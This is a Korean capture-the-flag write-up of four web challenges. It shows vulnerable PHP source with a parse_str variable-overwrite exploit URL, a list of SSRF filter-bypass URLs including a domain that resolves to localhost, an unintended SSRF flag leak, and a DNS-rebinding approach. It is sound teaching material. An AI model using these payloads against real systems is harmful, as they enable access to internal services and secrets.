EasyPHP
문제에서 소스를 제공해준다. 간단한 PHP Trick류다.
<?php
$hashed_key = '79abe9e217c2532193f910434453b2b9521a94c25ddc2e34f55947dea77d70ff';
$parsed = parse_url($_SERVER['REQUEST_URI']);
if(isset($parsed["query"])){
$query = $parsed["query"];
$parsed_query = parse_str($query);
if($parsed_query!=NULL){
$action = $parsed_query['action'];
}
if($action==="auth"){
$key = $_GET["key"];
$hashed_input = hash('sha256', $key);
//echo $hashed_input.'\n';
if($hashed_input!==$hashed_key){
die("GTFO!");
}
echo file_get_contents("/flag");
}
}else{
show_source(__FILE__);
}
?>
인풋의 sha256값이 79abe9e217c2532193f910434453b2b9521a94c25ddc2e34f55947dea77d70ff 값이어야 하는데 해당 값은 레인보우 테이블에서 조회되지 않는 값이라 원본 값을 모른다.
근데 딱봐도 수상한게 action파라미터 값 받아올 때 $_GET['action'] 일케 안받고 parse_str쓰고 있다. parse_str은 변수를 덮을 수 있어서 그냥 hashed_key를 덮어버리면 된다.
payload
http://easyphp.ctf.euristica.in/?action=auth&key=1&hashed_key=6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
Online Previewer 1
SSRF 문제다. 소스에서 http://127.0.0.1:1337로 접근하라고 하는데 필터가 되어있다.
http://asdf@127.0.0.1:1337
http://asdf#@127.0.0.1:1337
http://asdf?@127.0.0.1:1337
http://2130706433:1337/
http://0177.0.0.1:1337/
http://localhost:1337/
http://my_server/test.php
test.php
<?php
header('Location: http://127.0.0.1:1337');
?>
..등등
요런거 다 안먹혀서 localhost말고 127.0.0.1 반환해주는 도메인을 사용했다.
payload
http://lvh.me:1337
ImgAccess
업로드 기능이랑, url 요청 기능이 있다.
url 요청할때 ssrf가 터져서 내 서버로 요청해보면 헤더에 플래그가 있다. 근데 뭔가 이상해서 관리자분한테 의도된 풀이냐 물어보니까 아니라고 답변이 왔다. 문제풀때 쓴 페이로드 제보하고나서 나중에 문제가 패치되었다고 관리자분이 재밌을거라고 다시 풀어보랬는데 아직 문제를 못봤다. 나중에 서버가 계속 열려있으면 시간날때 풀어봐야 겠다.
Online Previewer 2
이전 SSRF 문제 업그레이드 버전이다. 기존이랑 달리 단순히 요청 값 파싱한 후 호스트 문자열을 검사하는게 아니고 실제 DNS Query를 날려서 반환된 IP를 체크하는 것 같았다. 그래서 기존 http://lvh.me:1337 페이로드가 안먹혔다.
위와 같은 검증로직에서는 DNS Rebinding써주면 되서 간단하게 도메인 하나에 아이피를 my_server_ip,127.0.0.1 요런식으로 두개 등록해놓고 계속 패킷 날려줬다.
몇번 하다보면 처음 검증쿼리때는 my_server_ip가 리턴되서 필터가우회되고 두번째 실제 요청 시에는 127.0.0.1이 리턴되는 형태로 타이밍이 맞는 순간이 와서 플래그가 나온다.